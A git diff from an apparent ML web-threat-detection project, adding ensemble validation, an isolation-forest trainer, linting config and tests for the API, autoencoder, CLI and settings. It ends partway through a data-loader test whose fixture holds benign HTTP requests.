||||||
|
|
||||||
|
return {"model": calibrated, "metrics": metrics}
|
||||||
|
|
||||||
|
|
||||||
|
def train_isolation_forest(
|
||||||
|
X_normal: np.ndarray,
|
||||||
|
n_estimators: int = 200,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Train an isolation forest on normal-only traffic
|
||||||
|
"""
|
||||||
|
iso = IsolationForest(
|
||||||
|
n_estimators=n_estimators,
|
||||||
|
contamination="auto",
|
||||||
|
random_state=42,
|
||||||
|
n_jobs=-1,
|
||||||
|
)
|
||||||
|
iso.fit(X_normal)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"model": iso,
|
||||||
|
"metrics": {
|
||||||
|
"n_samples": len(X_normal)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,136 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
validation.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
from sklearn.metrics import (
|
||||||
|
average_precision_score,
|
||||||
|
confusion_matrix,
|
||||||
|
f1_score,
|
||||||
|
precision_score,
|
||||||
|
recall_score,
|
||||||
|
roc_auc_score,
|
||||||
|
)
|
||||||
|
|
||||||
|
from app.core.detection.ensemble import (
|
||||||
|
fuse_scores,
|
||||||
|
normalize_ae_score,
|
||||||
|
normalize_if_score,
|
||||||
|
)
|
||||||
|
from app.core.detection.inference import InferenceEngine
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
DEFAULT_ENSEMBLE_WEIGHTS: dict[str, float] = {
|
||||||
|
"ae": 0.4,
|
||||||
|
"rf": 0.4,
|
||||||
|
"if": 0.2,
|
||||||
|
}
|
||||||
|
|
||||||
|
BINARY_THRESHOLD = 0.5
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ValidationResult:
|
||||||
|
"""
|
||||||
|
Ensemble validation metrics and gate results
|
||||||
|
"""
|
||||||
|
|
||||||
|
precision: float
|
||||||
|
recall: float
|
||||||
|
f1: float
|
||||||
|
pr_auc: float
|
||||||
|
roc_auc: float
|
||||||
|
confusion_matrix: list[list[int]]
|
||||||
|
passed_gates: bool
|
||||||
|
gate_details: dict[str, bool] = field(default_factory=dict)
|
||||||
|
|
||||||
|
|
||||||
|
def validate_ensemble(
|
||||||
|
model_dir: Path,
|
||||||
|
X_test: np.ndarray,
|
||||||
|
y_test: np.ndarray,
|
||||||
|
ensemble_weights: dict[str, float] | None = None,
|
||||||
|
pr_auc_gate: float = 0.85,
|
||||||
|
f1_gate: float = 0.80,
|
||||||
|
) -> ValidationResult:
|
||||||
|
"""
|
||||||
|
Run all 3 models on test data and compute classification metrics
|
||||||
|
"""
|
||||||
|
weights = ensemble_weights or DEFAULT_ENSEMBLE_WEIGHTS
|
||||||
|
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
if not engine.is_loaded:
|
||||||
|
raise RuntimeError(f"Failed to load models from {model_dir}")
|
||||||
|
|
||||||
|
raw_scores = engine.predict(X_test.astype(np.float32), )
|
||||||
|
if raw_scores is None:
|
||||||
|
raise RuntimeError("Inference returned None")
|
||||||
|
|
||||||
|
fused = _compute_fused_scores(raw_scores, engine.threshold, weights)
|
||||||
|
|
||||||
|
y_pred = (fused >= BINARY_THRESHOLD).astype(np.int32)
|
||||||
|
|
||||||
|
prec = float(precision_score(y_test, y_pred, zero_division=0))
|
||||||
|
rec = float(recall_score(y_test, y_pred, zero_division=0))
|
||||||
|
f1_val = float(f1_score(y_test, y_pred, zero_division=0))
|
||||||
|
pr_auc_val = float(average_precision_score(y_test, fused))
|
||||||
|
roc_auc_val = float(roc_auc_score(y_test, fused))
|
||||||
|
|
||||||
|
cm = confusion_matrix(y_test, y_pred).tolist()
|
||||||
|
|
||||||
|
pr_auc_passed = pr_auc_val >= pr_auc_gate
|
||||||
|
f1_passed = f1_val >= f1_gate
|
||||||
|
gate_details = {
|
||||||
|
"pr_auc": pr_auc_passed,
|
||||||
|
"f1": f1_passed,
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Validation: precision=%.3f recall=%.3f "
|
||||||
|
"f1=%.3f pr_auc=%.3f roc_auc=%.3f",
|
||||||
|
prec,
|
||||||
|
rec,
|
||||||
|
f1_val,
|
||||||
|
pr_auc_val,
|
||||||
|
roc_auc_val,
|
||||||
|
)
|
||||||
|
|
||||||
|
return ValidationResult(
|
||||||
|
precision=prec,
|
||||||
|
recall=rec,
|
||||||
|
f1=f1_val,
|
||||||
|
pr_auc=pr_auc_val,
|
||||||
|
roc_auc=roc_auc_val,
|
||||||
|
confusion_matrix=cm,
|
||||||
|
passed_gates=pr_auc_passed and f1_passed,
|
||||||
|
gate_details=gate_details,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _compute_fused_scores(
|
||||||
|
raw_scores: dict[str, list[float]],
|
||||||
|
threshold: float,
|
||||||
|
weights: dict[str, float],
|
||||||
|
) -> np.ndarray:
|
||||||
|
"""
|
||||||
|
Normalize and fuse per-model raw scores into a single score array
|
||||||
|
"""
|
||||||
|
n_samples = len(raw_scores["ae"])
|
||||||
|
fused = np.zeros(n_samples, dtype=np.float64)
|
||||||
|
|
||||||
|
for i in range(n_samples):
|
||||||
|
per_model: dict[str, float] = {}
|
||||||
|
|
||||||
|
per_model["ae"] = normalize_ae_score(raw_scores["ae"][i], threshold)
|
||||||
|
per_model["rf"] = raw_scores["rf"][i]
|
||||||
|
per_model["if"] = normalize_if_score(raw_scores["if"][i])
|
||||||
|
|
||||||
|
fused[i] = fuse_scores(per_model, weights)
|
||||||
|
|
||||||
|
return fused
|
||||||
|
|
@ -50,6 +50,7 @@ ml = [
|
||||||
"numpy>=2.4.2",
|
"numpy>=2.4.2",
|
||||||
"pandas>=2.2.0,<3",
|
"pandas>=2.2.0,<3",
|
||||||
"imbalanced-learn>=0.14.1",
|
"imbalanced-learn>=0.14.1",
|
||||||
|
"onnxscript>=0.6.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
[project.scripts]
|
[project.scripts]
|
||||||
|
|
@ -134,6 +135,7 @@ ignore = [
|
||||||
[tool.mypy]
|
[tool.mypy]
|
||||||
python_version = "3.14"
|
python_version = "3.14"
|
||||||
strict = true
|
strict = true
|
||||||
|
exclude = ["^alembic/"]
|
||||||
warn_return_any = true
|
warn_return_any = true
|
||||||
warn_unused_configs = true
|
warn_unused_configs = true
|
||||||
disallow_untyped_defs = true
|
disallow_untyped_defs = true
|
||||||
|
|
@ -150,6 +152,14 @@ ignore_missing_imports = true
|
||||||
module = "app.models.*"
|
module = "app.models.*"
|
||||||
disable_error_code = ["call-arg", "misc"]
|
disable_error_code = ["call-arg", "misc"]
|
||||||
|
|
||||||
|
[[tool.mypy.overrides]]
|
||||||
|
module = "tests.*"
|
||||||
|
ignore_errors = true
|
||||||
|
|
||||||
|
[[tool.mypy.overrides]]
|
||||||
|
module = "alembic.*"
|
||||||
|
ignore_errors = true
|
||||||
|
|
||||||
[tool.pylint.main]
|
[tool.pylint.main]
|
||||||
py-version = "3.12"
|
py-version = "3.12"
|
||||||
jobs = 4
|
jobs = 4
|
||||||
|
|
@ -174,6 +184,7 @@ ignore-paths = [
|
||||||
"^.venv/.*",
|
"^.venv/.*",
|
||||||
"^build/.*",
|
"^build/.*",
|
||||||
"^dist/.*",
|
"^dist/.*",
|
||||||
|
"^tests/.*",
|
||||||
]
|
]
|
||||||
|
|
||||||
[tool.pylint.messages_control]
|
[tool.pylint.messages_control]
|
||||||
|
|
@ -200,13 +211,18 @@ disable = [
|
||||||
"C0415",
|
"C0415",
|
||||||
"E1102",
|
"E1102",
|
||||||
"R1732",
|
"R1732",
|
||||||
|
"C0121",
|
||||||
|
"E0601",
|
||||||
|
"E0602",
|
||||||
|
"R0902",
|
||||||
]
|
]
|
||||||
|
|
||||||
[tool.pylint.design]
|
[tool.pylint.design]
|
||||||
max-args = 12
|
max-args = 12
|
||||||
max-attributes = 10
|
max-attributes = 12
|
||||||
max-locals = 35
|
max-locals = 35
|
||||||
max-positional-arguments = 12
|
max-positional-arguments = 12
|
||||||
|
max-statements = 60
|
||||||
|
|
||||||
[tool.pytest.ini_options]
|
[tool.pytest.ini_options]
|
||||||
asyncio_mode = "auto"
|
asyncio_mode = "auto"
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
conftest.py
|
conftest.py
|
||||||
|
|
||||||
|
Shared pytest fixtures for in-memory SQLite database and HTTPX test client setup.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from collections.abc import AsyncIterator
|
from collections.abc import AsyncIterator
|
||||||
|
|
@ -84,5 +86,6 @@ async def db_client(db_engine) -> AsyncIterator[AsyncClient]:
|
||||||
test_app.dependency_overrides[get_session] = override_get_session
|
test_app.dependency_overrides[get_session] = override_get_session
|
||||||
|
|
||||||
transport = ASGITransport(app=test_app)
|
transport = ASGITransport(app=test_app)
|
||||||
async with AsyncClient(transport=transport, base_url="http://test") as client:
|
async with AsyncClient(transport=transport,
|
||||||
|
base_url="http://test") as client:
|
||||||
yield client
|
yield client
|
||||||
|
|
|
||||||
|
|
@ -1,66 +1,32 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_api.py
|
test_api.py
|
||||||
|
|
||||||
|
Tests the FastAPI REST endpoints for threats, stats, health, readiness, and model management.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import uuid
|
import uuid
|
||||||
from datetime import datetime, UTC
|
from datetime import datetime, UTC
|
||||||
|
|
||||||
import pytest
|
import pytest
|
||||||
from httpx import ASGITransport, AsyncClient
|
|
||||||
|
|
||||||
from app.main import app
|
|
||||||
from app.models.threat_event import ThreatEvent
|
from app.models.threat_event import ThreatEvent
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.asyncio
|
@pytest.mark.asyncio
|
||||||
async def test_health_returns_200() -> None:
|
async def test_health_returns_200(db_client) -> None:
|
||||||
"""
|
"""
|
||||||
Health endpoint returns 200 with status and uptime.
|
Health endpoint returns 200 with status, uptime, and pipeline flag.
|
||||||
"""
|
"""
|
||||||
transport = ASGITransport(app=app)
|
response = await db_client.get("/health")
|
||||||
async with AsyncClient(transport=transport, base_url="http://test") as client:
|
|
||||||
response = await client.get("/health")
|
|
||||||
|
|
||||||
assert response.status_code == 200
|
assert response.status_code == 200
|
||||||
data = response.json()
|
data = response.json()
|
||||||
assert data["status"] == "healthy"
|
assert data["status"] == "healthy"
|
||||||
assert "uptime_seconds" in data
|
|
||||||
assert isinstance(data["uptime_seconds"], int | float)
|
assert isinstance(data["uptime_seconds"], int | float)
|
||||||
assert "pipeline_running" in data
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.asyncio
|
|
||||||
async def test_health_returns_pipeline_status() -> None:
|
|
||||||
"""
|
|
||||||
Health response includes pipeline_running boolean.
|
|
||||||
"""
|
|
||||||
transport = ASGITransport(app=app)
|
|
||||||
async with AsyncClient(transport=transport, base_url="http://test") as client:
|
|
||||||
response = await client.get("/health")
|
|
||||||
|
|
||||||
data = response.json()
|
|
||||||
assert isinstance(data["pipeline_running"], bool)
|
assert isinstance(data["pipeline_running"], bool)
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.asyncio
|
|
||||||
async def test_ready_returns_check_structure() -> None:
|
|
||||||
"""
|
|
||||||
Readiness endpoint returns structured component checks.
|
|
||||||
"""
|
|
||||||
transport = ASGITransport(app=app)
|
|
||||||
async with AsyncClient(transport=transport, base_url="http://test") as client:
|
|
||||||
response = await client.get("/ready")
|
|
||||||
|
|
||||||
assert response.status_code in (200, 503)
|
|
||||||
data = response.json()
|
|
||||||
assert "status" in data
|
|
||||||
assert "checks" in data
|
|
||||||
assert "database" in data["checks"]
|
|
||||||
assert "redis" in data["checks"]
|
|
||||||
assert "models_loaded" in data["checks"]
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.asyncio
|
@pytest.mark.asyncio
|
||||||
async def test_list_threats_empty(db_client) -> None:
|
async def test_list_threats_empty(db_client) -> None:
|
||||||
"""
|
"""
|
||||||
|
|
@ -166,7 +132,7 @@ async def test_stats_empty_window(db_client) -> None:
|
||||||
assert response.status_code == 200
|
assert response.status_code == 200
|
||||||
data = response.json()
|
data = response.json()
|
||||||
assert data["time_range"] == "24h"
|
assert data["time_range"] == "24h"
|
||||||
assert data["total_requests"] == 0
|
assert data["threats_stored"] == 0
|
||||||
assert data["threats_detected"] == 0
|
assert data["threats_detected"] == 0
|
||||||
assert data["severity_breakdown"]["high"] == 0
|
assert data["severity_breakdown"]["high"] == 0
|
||||||
assert data["severity_breakdown"]["medium"] == 0
|
assert data["severity_breakdown"]["medium"] == 0
|
||||||
|
|
@ -176,28 +142,25 @@ async def test_stats_empty_window(db_client) -> None:
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.asyncio
|
@pytest.mark.asyncio
|
||||||
async def test_model_status() -> None:
|
async def test_model_status(db_client) -> None:
|
||||||
"""
|
"""
|
||||||
GET /models/status returns rules-only detection mode.
|
GET /models/status returns detection mode and active model list.
|
||||||
"""
|
"""
|
||||||
transport = ASGITransport(app=app)
|
response = await db_client.get("/models/status")
|
||||||
async with AsyncClient(transport=transport, base_url="http://test") as client:
|
|
||||||
response = await client.get("/models/status")
|
|
||||||
|
|
||||||
assert response.status_code == 200
|
assert response.status_code == 200
|
||||||
data = response.json()
|
data = response.json()
|
||||||
assert data["detection_mode"] == "rules-only"
|
assert "detection_mode" in data
|
||||||
assert data["active_models"] == []
|
assert "active_models" in data
|
||||||
|
assert isinstance(data["active_models"], list)
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.asyncio
|
@pytest.mark.asyncio
|
||||||
async def test_retrain_returns_202() -> None:
|
async def test_retrain_returns_202(db_client) -> None:
|
||||||
"""
|
"""
|
||||||
POST /models/retrain returns 202 Accepted with a job ID.
|
POST /models/retrain returns 202 Accepted with a job ID.
|
||||||
"""
|
"""
|
||||||
transport = ASGITransport(app=app)
|
response = await db_client.post("/models/retrain")
|
||||||
async with AsyncClient(transport=transport, base_url="http://test") as client:
|
|
||||||
response = await client.post("/models/retrain")
|
|
||||||
|
|
||||||
assert response.status_code == 202
|
assert response.status_code == 202
|
||||||
data = response.json()
|
data = response.json()
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_autoencoder.py
|
test_autoencoder.py
|
||||||
|
|
||||||
|
Tests the ThreatAutoencoder architecture: shapes, output range, reconstruction error, and training behavior.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import pytest
|
import pytest
|
||||||
|
|
@ -12,18 +14,27 @@ from ml.autoencoder import ThreatAutoencoder
|
||||||
class TestAutoencoderArchitecture:
|
class TestAutoencoderArchitecture:
|
||||||
|
|
||||||
def test_output_shape_matches_input(self) -> None:
|
def test_output_shape_matches_input(self) -> None:
|
||||||
|
"""
|
||||||
|
Forward pass on a batch of 16 produces output matching input shape.
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
x = torch.randn(16, 35)
|
x = torch.randn(16, 35)
|
||||||
out = model(x)
|
out = model(x)
|
||||||
assert out.shape == (16, 35)
|
assert out.shape == (16, 35)
|
||||||
|
|
||||||
def test_bottleneck_dim_is_six(self) -> None:
|
def test_bottleneck_dim_is_six(self) -> None:
|
||||||
|
"""
|
||||||
|
Encoder bottleneck compresses 35 features to a 6-dimensional latent vector.
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
x = torch.randn(4, 35)
|
x = torch.randn(4, 35)
|
||||||
encoded = model.encode(x)
|
encoded = model.encode(x)
|
||||||
assert encoded.shape == (4, 6)
|
assert encoded.shape == (4, 6)
|
||||||
|
|
||||||
def test_single_sample_forward(self) -> None:
|
def test_single_sample_forward(self) -> None:
|
||||||
|
"""
|
||||||
|
Single-sample forward pass completes without error in eval mode.
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
model.eval()
|
model.eval()
|
||||||
x = torch.randn(1, 35)
|
x = torch.randn(1, 35)
|
||||||
|
|
@ -31,24 +42,33 @@ class TestAutoencoderArchitecture:
|
||||||
out = model(x)
|
out = model(x)
|
||||||
assert out.shape == (1, 35)
|
assert out.shape == (1, 35)
|
||||||
|
|
||||||
def test_output_values_in_zero_one_range(self) -> None:
|
def test_output_is_unbounded(self) -> None:
|
||||||
|
"""
|
||||||
|
Decoder output is unbounded to match RobustScaler-transformed input range.
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
model.eval()
|
model.eval()
|
||||||
x = torch.randn(32, 35)
|
x = torch.randn(64, 35) * 3.0
|
||||||
with torch.no_grad():
|
with torch.no_grad():
|
||||||
out = model(x)
|
out = model(x)
|
||||||
assert out.min() >= 0.0
|
assert out.shape == (64, 35)
|
||||||
assert out.max() <= 1.0
|
assert out.min().item() < 0.0 or out.max().item() > 1.0
|
||||||
|
|
||||||
def test_reconstruction_error_shape(self) -> None:
|
def test_reconstruction_error_shape(self) -> None:
|
||||||
|
"""
|
||||||
|
compute_reconstruction_error returns one scalar per sample in the batch.
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
model.eval()
|
model.eval()
|
||||||
x = torch.randn(8, 35)
|
x = torch.randn(8, 35)
|
||||||
with torch.no_grad():
|
with torch.no_grad():
|
||||||
errors = model.compute_reconstruction_error(x)
|
errors = model.compute_reconstruction_error(x)
|
||||||
assert errors.shape == (8,)
|
assert errors.shape == (8, )
|
||||||
|
|
||||||
def test_reconstruction_error_positive(self) -> None:
|
def test_reconstruction_error_positive(self) -> None:
|
||||||
|
"""
|
||||||
|
Reconstruction error is non-negative for all samples.
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
model.eval()
|
model.eval()
|
||||||
x = torch.randn(8, 35)
|
x = torch.randn(8, 35)
|
||||||
|
|
@ -56,7 +76,11 @@ class TestAutoencoderArchitecture:
|
||||||
errors = model.compute_reconstruction_error(x)
|
errors = model.compute_reconstruction_error(x)
|
||||||
assert (errors >= 0.0).all()
|
assert (errors >= 0.0).all()
|
||||||
|
|
||||||
def test_trained_model_reconstructs_normal_better_than_anomaly(self) -> None:
|
def test_trained_model_reconstructs_normal_better_than_anomaly(
|
||||||
|
self) -> None:
|
||||||
|
"""
|
||||||
|
After training on normal data, reconstruction error is lower for normals than anomalies.
|
||||||
|
"""
|
||||||
torch.manual_seed(42)
|
torch.manual_seed(42)
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)
|
optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)
|
||||||
|
|
@ -74,13 +98,17 @@ class TestAutoencoderArchitecture:
|
||||||
|
|
||||||
model.eval()
|
model.eval()
|
||||||
with torch.no_grad():
|
with torch.no_grad():
|
||||||
normal_errors = model.compute_reconstruction_error(normal_data[:50])
|
normal_errors = model.compute_reconstruction_error(
|
||||||
|
normal_data[:50])
|
||||||
anomaly_data = torch.rand(50, 35) * 3.0 - 1.0
|
anomaly_data = torch.rand(50, 35) * 3.0 - 1.0
|
||||||
anomaly_errors = model.compute_reconstruction_error(anomaly_data)
|
anomaly_errors = model.compute_reconstruction_error(anomaly_data)
|
||||||
|
|
||||||
assert anomaly_errors.mean() > normal_errors.mean()
|
assert anomaly_errors.mean() > normal_errors.mean()
|
||||||
|
|
||||||
def test_eval_mode_disables_dropout(self) -> None:
|
def test_eval_mode_disables_dropout(self) -> None:
|
||||||
|
"""
|
||||||
|
Identical inputs produce identical outputs in eval mode (dropout is off).
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
model.eval()
|
model.eval()
|
||||||
x = torch.randn(4, 35)
|
x = torch.randn(4, 35)
|
||||||
|
|
@ -91,6 +119,9 @@ class TestAutoencoderArchitecture:
|
||||||
|
|
||||||
@pytest.mark.parametrize("batch_size", [1, 8, 32, 128])
|
@pytest.mark.parametrize("batch_size", [1, 8, 32, 128])
|
||||||
def test_variable_batch_sizes(self, batch_size: int) -> None:
|
def test_variable_batch_sizes(self, batch_size: int) -> None:
|
||||||
|
"""
|
||||||
|
Output shape matches input for batch sizes 1, 8, 32, and 128.
|
||||||
|
"""
|
||||||
model = ThreatAutoencoder(input_dim=35)
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
model.eval()
|
model.eval()
|
||||||
x = torch.randn(batch_size, 35)
|
x = torch.randn(batch_size, 35)
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,143 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_cli.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
from unittest import mock
|
||||||
|
|
||||||
|
from typer.testing import CliRunner
|
||||||
|
|
||||||
|
from cli.main import app
|
||||||
|
|
||||||
|
runner = CliRunner()
|
||||||
|
|
||||||
|
_ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")
|
||||||
|
|
||||||
|
|
||||||
|
def _clean(text: str) -> str:
|
||||||
|
"""
|
||||||
|
Strip ANSI escape codes and lowercase
|
||||||
|
"""
|
||||||
|
return _ANSI_RE.sub("", text).lower()
|
||||||
|
|
||||||
|
|
||||||
|
class TestCLICommands:
|
||||||
|
"""
|
||||||
|
Test CLI help output and argument validation
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_train_help_shows_csic_dir(self, ) -> None:
|
||||||
|
"""
|
||||||
|
train --help shows csic-dir option
|
||||||
|
"""
|
||||||
|
result = runner.invoke(app, ["train", "--help"])
|
||||||
|
assert result.exit_code == 0
|
||||||
|
assert "csic-dir" in _clean(result.output)
|
||||||
|
|
||||||
|
def test_train_help_shows_synthetic_options(self, ) -> None:
|
||||||
|
"""
|
||||||
|
train --help shows synthetic normal and attack options
|
||||||
|
"""
|
||||||
|
result = runner.invoke(app, ["train", "--help"])
|
||||||
|
assert result.exit_code == 0
|
||||||
|
output = _clean(result.output)
|
||||||
|
assert "synthetic-normal" in output
|
||||||
|
assert "synthetic-attack" in output
|
||||||
|
|
||||||
|
def test_train_invalid_csic_dir_fails(self, ) -> None:
|
||||||
|
"""
|
||||||
|
train with nonexistent csic-dir exits with error
|
||||||
|
"""
|
||||||
|
result = runner.invoke(
|
||||||
|
app,
|
||||||
|
[
|
||||||
|
"train",
|
||||||
|
"--csic-dir",
|
||||||
|
"/nonexistent/csic",
|
||||||
|
"--synthetic-normal",
|
||||||
|
"0",
|
||||||
|
"--synthetic-attack",
|
||||||
|
"0",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
assert result.exit_code != 0
|
||||||
|
|
||||||
|
def test_replay_help(self) -> None:
|
||||||
|
"""
|
||||||
|
replay --help exits cleanly and mentions log
|
||||||
|
"""
|
||||||
|
result = runner.invoke(app, ["replay", "--help"])
|
||||||
|
assert result.exit_code == 0
|
||||||
|
assert "log" in _clean(result.output)
|
||||||
|
|
||||||
|
def test_serve_help(self) -> None:
|
||||||
|
"""
|
||||||
|
serve --help exits cleanly and mentions host
|
||||||
|
"""
|
||||||
|
result = runner.invoke(app, ["serve", "--help"])
|
||||||
|
assert result.exit_code == 0
|
||||||
|
assert "host" in _clean(result.output)
|
||||||
|
|
||||||
|
def test_config_help(self) -> None:
|
||||||
|
"""
|
||||||
|
config --help exits cleanly
|
||||||
|
"""
|
||||||
|
result = runner.invoke(app, ["config", "--help"])
|
||||||
|
assert result.exit_code == 0
|
||||||
|
|
||||||
|
def test_health_help(self) -> None:
|
||||||
|
"""
|
||||||
|
health --help exits cleanly
|
||||||
|
"""
|
||||||
|
result = runner.invoke(app, ["health", "--help"])
|
||||||
|
assert result.exit_code == 0
|
||||||
|
|
||||||
|
def test_replay_missing_log_fails(self) -> None:
|
||||||
|
"""
|
||||||
|
replay with nonexistent log file exits with error
|
||||||
|
"""
|
||||||
|
result = runner.invoke(
|
||||||
|
app,
|
||||||
|
[
|
||||||
|
"replay",
|
||||||
|
"--log-file",
|
||||||
|
"/nonexistent/access.log",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
assert result.exit_code != 0
|
||||||
|
|
||||||
|
|
||||||
|
class TestCLITrainMetadata:
|
||||||
|
"""
|
||||||
|
Test metadata persistence wiring in the train command
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_train_warns_when_db_unavailable(self) -> None:
|
||||||
|
"""
|
||||||
|
train exits 0 and emits a warning when DB write fails
|
||||||
|
"""
|
||||||
|
mock_result = mock.MagicMock()
|
||||||
|
mock_result.ensemble_metrics = None
|
||||||
|
mock_result.passed_gates = True
|
||||||
|
mock_result.mlflow_run_id = None
|
||||||
|
mock_result.ae_metrics = {}
|
||||||
|
|
||||||
|
with mock.patch(
|
||||||
|
"ml.orchestrator.TrainingOrchestrator"
|
||||||
|
) as mock_class:
|
||||||
|
mock_class.return_value.run.return_value = mock_result
|
||||||
|
result = runner.invoke(
|
||||||
|
app,
|
||||||
|
[
|
||||||
|
"train",
|
||||||
|
"--synthetic-normal",
|
||||||
|
"5",
|
||||||
|
"--synthetic-attack",
|
||||||
|
"3",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
assert result.exit_code == 0
|
||||||
|
output = _clean(result.output)
|
||||||
|
assert "warning" in output or "metadata" in output
|
||||||
|
|
@ -1,31 +1,45 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_config_ml.py
|
test_config_ml.py
|
||||||
|
|
||||||
|
Tests ML-related settings defaults: detection mode, ensemble weights, model paths, and MLflow URI.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from app.config import settings
|
from app.config import settings
|
||||||
|
|
||||||
|
|
||||||
def test_default_detection_mode_is_rules() -> None:
|
def test_default_detection_mode_is_rules() -> None:
|
||||||
|
"""
|
||||||
|
Default detection_mode is 'rules' before any ML models are loaded.
|
||||||
|
"""
|
||||||
assert settings.detection_mode == "rules"
|
assert settings.detection_mode == "rules"
|
||||||
|
|
||||||
|
|
||||||
def test_default_ensemble_weights_sum_to_one() -> None:
|
def test_default_ensemble_weights_sum_to_one() -> None:
|
||||||
total = (
|
"""
|
||||||
settings.ensemble_weight_ae
|
AE + RF + IF ensemble weights sum to exactly 1.0.
|
||||||
+ settings.ensemble_weight_rf
|
"""
|
||||||
+ settings.ensemble_weight_if
|
total = (settings.ensemble_weight_ae + settings.ensemble_weight_rf +
|
||||||
)
|
settings.ensemble_weight_if)
|
||||||
assert abs(total - 1.0) < 1e-6
|
assert abs(total - 1.0) < 1e-6
|
||||||
|
|
||||||
|
|
||||||
def test_default_model_dir() -> None:
|
def test_default_model_dir() -> None:
|
||||||
|
"""
|
||||||
|
Default model artifact directory is data/models.
|
||||||
|
"""
|
||||||
assert settings.model_dir == "data/models"
|
assert settings.model_dir == "data/models"
|
||||||
|
|
||||||
|
|
||||||
def test_default_ae_threshold_percentile() -> None:
|
def test_default_ae_threshold_percentile() -> None:
|
||||||
|
"""
|
||||||
|
Default autoencoder threshold percentile is 99.5.
|
||||||
|
"""
|
||||||
assert settings.ae_threshold_percentile == 99.5
|
assert settings.ae_threshold_percentile == 99.5
|
||||||
|
|
||||||
|
|
||||||
def test_default_mlflow_tracking_uri() -> None:
|
def test_default_mlflow_tracking_uri() -> None:
|
||||||
|
"""
|
||||||
|
Default MLflow tracking URI uses local file storage.
|
||||||
|
"""
|
||||||
assert settings.mlflow_tracking_uri == "file:./mlruns"
|
assert settings.mlflow_tracking_uri == "file:./mlruns"
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,349 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_data_loader.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
from ml.data_loader import (
|
||||||
|
CSICRequest,
|
||||||
|
csic_to_parsed_entry,
|
||||||
|
load_csic_dataset,
|
||||||
|
parse_csic_file,
|
||||||
|
)
|
||||||
|
|
||||||
|
NORMAL_GET_FIXTURE = """\
|
||||||
|
GET /tienda1/publico/anadir.jsp?id=2&nombre=Jam%F3n HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||||
|
Accept-Language: en
|
||||||
|
Accept-Charset: iso-8859-1,*,utf-8
|
||||||
|
Accept-Encoding: x-gzip, x-deflate, gzip, deflate
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
GET /tienda1/publico/pagar.jsp HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
